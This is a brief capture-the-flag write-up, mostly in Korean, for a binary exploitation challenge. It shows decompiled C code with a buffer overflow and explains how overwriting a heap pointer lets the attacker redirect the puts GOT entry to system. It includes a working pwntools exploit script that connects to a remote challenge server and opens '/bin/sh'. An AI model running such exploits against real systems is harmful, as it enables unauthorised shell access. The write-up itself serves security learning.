

```
int __cdecl main(int argc, const char **argv, const char :
{
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(_bss_start, 0LL, 2, 0LL);
    ptr = malloc(0x40ull);
    printf("echo input name : ", 0LL);
    read(0, buf, 0x48ull);
    read(0, ptr, 0x40ull);           |
    puts(buf);
    return 0;
}
```

첫번째 인풋에서 버퍼 오버플로우가 발생한다.

malloc하고 나온 return 값으로 값을 써주고 있는데

buf를 오버플로우 시켜서 ptr을 puts got로 바꾼다음 system 함수가 존재하므로 /bin/sh을
해주면된다.

```
#!/usr/bin/env python
```

```
from pwn import *
```

```
#p = process("./chall")
p = remote("3.37.81.93", 55533)
```

```
payload = "/bin/sh\x00"
payload += "A"*(64-8)
payload += p64(0x00000000000601018)
```

```
pause()
```

```
p.sendafter(":", payload)
```

```
p.sendline(p64(0x4005a6))
```

```
p.interactive()
```